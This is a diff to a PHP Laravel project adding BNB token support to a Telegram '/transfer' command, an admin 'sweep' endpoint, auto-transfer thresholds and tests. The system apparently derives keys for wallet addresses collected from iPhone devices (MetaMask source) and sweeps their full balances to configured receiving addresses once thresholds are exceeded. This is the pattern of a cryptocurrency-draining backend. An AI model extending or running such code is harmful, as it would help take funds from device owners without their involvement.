'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
'/transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]',
|
||||||
' 从设备地址转出到配置收款地址',
|
' 从设备地址转出到配置收款地址',
|
||||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||||
' 例: /transfer Txxx USDT 10',
|
' 例: /transfer Txxx USDT 10',
|
||||||
' 例: /transfer 0x… ETH',
|
' 例: /transfer 0x… ETH',
|
||||||
|
' 例: /transfer 0x… BNB',
|
||||||
' 例: /transfer 1… BTC 0.01',
|
' 例: /transfer 1… BTC 0.01',
|
||||||
]));
|
]));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ class TransferCommand
|
|||||||
|
|
||||||
if ($parts === []) {
|
if ($parts === []) {
|
||||||
$bot->sendMessage(
|
$bot->sendMessage(
|
||||||
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
|
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]\n"
|
||||||
."Omit amount to transfer all. Chain is inferred from address.\n"
|
."Omit amount to transfer all. Chain is inferred from address.\n"
|
||||||
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
|
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
|
||||||
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
|
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
|
||||||
@@ -68,7 +68,7 @@ class TransferCommand
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$decimals = match ($asset) {
|
$decimals = match ($asset) {
|
||||||
'ETH' => 18,
|
'ETH', 'BNB' => 18,
|
||||||
'BTC' => 8,
|
'BTC' => 8,
|
||||||
default => 6,
|
default => 6,
|
||||||
};
|
};
|
||||||
@@ -172,7 +172,7 @@ class TransferCommand
|
|||||||
private function assetsForChain(string $chain): array
|
private function assetsForChain(string $chain): array
|
||||||
{
|
{
|
||||||
return match ($chain) {
|
return match ($chain) {
|
||||||
'eth' => ['ETH', 'USDT'],
|
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||||
'btc' => ['BTC'],
|
'btc' => ['BTC'],
|
||||||
default => ['TRX', 'USDT'],
|
default => ['TRX', 'USDT'],
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -88,6 +88,7 @@ return [
|
|||||||
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
|
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
|
||||||
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
|
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
|
||||||
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
|
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
|
||||||
|
'threshold_bnb' => (string) env('AUTO_TRANSFER_THRESHOLD_BNB', ''),
|
||||||
],
|
],
|
||||||
|
|
||||||
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
||||||
@@ -117,6 +118,9 @@ return [
|
|||||||
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
|
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
|
||||||
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
|
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
|
||||||
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
|
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
|
||||||
|
// BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer.
|
||||||
|
'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'),
|
||||||
|
'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18),
|
||||||
'gas_limit' => env('ETH_GAS_LIMIT', ''),
|
'gas_limit' => env('ETH_GAS_LIMIT', ''),
|
||||||
],
|
],
|
||||||
'btc' => [
|
'btc' => [
|
||||||
@@ -149,6 +153,7 @@ return [
|
|||||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||||
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
||||||
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
|
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
|
||||||
|
'max_bnb' => env('TRANSFER_MAX_BNB', '0'),
|
||||||
// BIP44 account index scan upper bound when matching fromAddress.
|
// BIP44 account index scan upper bound when matching fromAddress.
|
||||||
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
||||||
// Leave this much native when transferring "all".
|
// Leave this much native when transferring "all".
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->decimal('auto_transfer_threshold_bnb', 24, 8)->nullable()->after('auto_transfer_threshold_btc');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('auto_transfer_threshold_bnb');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -152,7 +152,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
return ['USDT', 'TRX'];
|
return ['USDT', 'TRX'];
|
||||||
}
|
}
|
||||||
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
|
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
|
||||||
return ['ETH', 'USDT'];
|
return ['ETH', 'USDT', 'BNB'];
|
||||||
}
|
}
|
||||||
if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
|
if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
|
||||||
return ['BTC'];
|
return ['BTC'];
|
||||||
|
|||||||
@@ -156,6 +156,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
|
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
|
||||||
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
|
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
|
||||||
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
|
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
|
||||||
|
'<input name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:110px;" value="' + esc(values.auto_transfer_threshold_bnb || '') + '">' +
|
||||||
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 >0)</div></div>' +
|
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 >0)</div></div>' +
|
||||||
'</form>',
|
'</form>',
|
||||||
success: function (layero, index) {
|
success: function (layero, index) {
|
||||||
|
|||||||
@@ -93,6 +93,8 @@
|
|||||||
value="{{ $form['auto_transfer.threshold_eth'] }}">
|
value="{{ $form['auto_transfer.threshold_eth'] }}">
|
||||||
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
|
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
|
||||||
value="{{ $form['auto_transfer.threshold_btc'] }}">
|
value="{{ $form['auto_transfer.threshold_btc'] }}">
|
||||||
|
<input type="text" name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:140px;"
|
||||||
|
value="{{ $form['auto_transfer.threshold_bnb'] }}">
|
||||||
</div>
|
</div>
|
||||||
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -148,4 +148,48 @@ class AddressSweepTest extends TestCase
|
|||||||
->assertStatus(403)
|
->assertStatus(403)
|
||||||
->assertJson(['code' => 1]);
|
->assertJson(['code' => 1]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_can_sweep_bnb_on_eth_address(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-sweep-eth',
|
||||||
|
'ios_version' => '18.0',
|
||||||
|
'device_model' => 'iPhone',
|
||||||
|
]);
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94',
|
||||||
|
'chain_type' => 'ETH',
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'eth' => '0.2',
|
||||||
|
'usdt' => '10',
|
||||||
|
'bnb' => '1.5',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldReceive('handle')
|
||||||
|
->once()
|
||||||
|
->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string'))
|
||||||
|
->andReturn([
|
||||||
|
'ok' => true,
|
||||||
|
'txid' => '0x'.str_repeat('ab', 32),
|
||||||
|
'from' => $addr->address,
|
||||||
|
'to' => '0x0000000000000000000000000000000000000001',
|
||||||
|
'amount' => '1.5',
|
||||||
|
'asset' => 'BNB',
|
||||||
|
]);
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
|
||||||
|
'asset' => 'BNB',
|
||||||
|
'amount' => '1.5',
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.asset', 'BNB');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -247,6 +247,47 @@ class TelegramBotTest extends TestCase
|
|||||||
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
|
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_transfer_accepts_bnb_on_eth_address(): void
|
||||||
|
{
|
||||||
|
$from = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
|
||||||
|
$mock = Mockery::mock(TransferService::class);
|
||||||
|
$mock->shouldReceive('handle')
|
||||||
|
->once()
|
||||||
|
->withArgs(function (...$args) use ($from) {
|
||||||
|
return ($args[0] ?? null) === 'eth'
|
||||||
|
&& strcasecmp((string) ($args[1] ?? ''), $from) === 0
|
||||||
|
&& ($args[2] ?? null) === '1.5'
|
||||||
|
&& ($args[3] ?? null) === 'BNB';
|
||||||
|
})
|
||||||
|
->andReturn([
|
||||||
|
'ok' => true,
|
||||||
|
'txid' => '0xbnbtx',
|
||||||
|
'from' => $from,
|
||||||
|
'to' => '0x0000000000000000000000000000000000000001',
|
||||||
|
'amount' => '1.5',
|
||||||
|
'asset' => 'BNB',
|
||||||
|
]);
|
||||||
|
$this->app->instance(TransferService::class, $mock);
|
||||||
|
|
||||||
|
/** @var FakeNutgram $bot */
|
||||||
|
$bot = app(Nutgram::class);
|
||||||
|
$bot->willReceivePartial([
|
||||||
|
'status' => ChatMemberStatus::CREATOR->value,
|
||||||
|
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
||||||
|
]);
|
||||||
|
$bot->hearMessage([
|
||||||
|
'text' => '/transfer '.$from.' BNB 1.5',
|
||||||
|
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||||
|
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
||||||
|
])->reply();
|
||||||
|
|
||||||
|
$bot->assertCalled('sendMessage', 2);
|
||||||
|
$history = $bot->getRequestHistory();
|
||||||
|
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||||
|
$this->assertStringContainsString('0xbnbtx', $last['text'] ?? '');
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function admin_data_reports_dashboard_stats(): void
|
public function admin_data_reports_dashboard_stats(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
namespace Tests\Unit;
|
namespace Tests\Unit;
|
||||||
|
|
||||||
use App\Services\Chain\EthDriver;
|
use App\Services\Chain\EthDriver;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
|
|
||||||
@@ -30,4 +31,29 @@ class EthDriverTest extends TestCase
|
|||||||
$this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
|
$this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
|
||||||
$this->assertFalse($driver->isValidAddress('0x1234'));
|
$this->assertFalse($driver->isValidAddress('0x1234'));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function token_balance_uses_per_contract_decimals(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||||
|
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||||
|
'coruna.eth.usdt_decimals' => 6,
|
||||||
|
'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52',
|
||||||
|
'coruna.eth.bnb_decimals' => 18,
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake(function ($request) {
|
||||||
|
$to = strtolower((string) ($request->data()['params'][0]['to'] ?? ''));
|
||||||
|
$result = str_contains($to, 'dac17f95') ? '0x5f5e100' : '0xde0b6b3a7640000';
|
||||||
|
|
||||||
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $result]);
|
||||||
|
});
|
||||||
|
|
||||||
|
$driver = new EthDriver;
|
||||||
|
$addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
|
||||||
|
|
||||||
|
$this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract')));
|
||||||
|
$this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract')));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -63,11 +63,14 @@ class WalletBalanceServiceTest extends TestCase
|
|||||||
|
|
||||||
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
|
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
|
||||||
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
|
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
|
||||||
$eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
|
$eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5');
|
||||||
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
|
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
|
||||||
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
|
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
|
||||||
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
|
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
|
||||||
config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']);
|
config([
|
||||||
|
'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
|
||||||
|
'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52',
|
||||||
|
]);
|
||||||
|
|
||||||
$device = Device::query()->create([
|
$device = Device::query()->create([
|
||||||
'device_id' => 'dev-bal-2',
|
'device_id' => 'dev-bal-2',
|
||||||
@@ -88,6 +91,7 @@ class WalletBalanceServiceTest extends TestCase
|
|||||||
$addr->refresh();
|
$addr->refresh();
|
||||||
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
|
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
|
||||||
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
|
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
Reference in New Issue
Block a user